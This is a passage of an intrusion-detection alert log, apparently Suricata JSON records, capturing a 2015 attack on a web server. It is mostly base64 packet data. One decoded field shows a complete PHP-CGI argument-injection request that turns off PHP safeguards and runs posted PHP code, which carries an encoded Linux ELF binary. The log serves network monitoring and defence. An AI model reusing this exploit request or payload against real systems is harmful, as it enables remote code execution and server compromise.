QUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016980,"rev":5,"signature":"ET WEB_SERVER disable_functions PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WU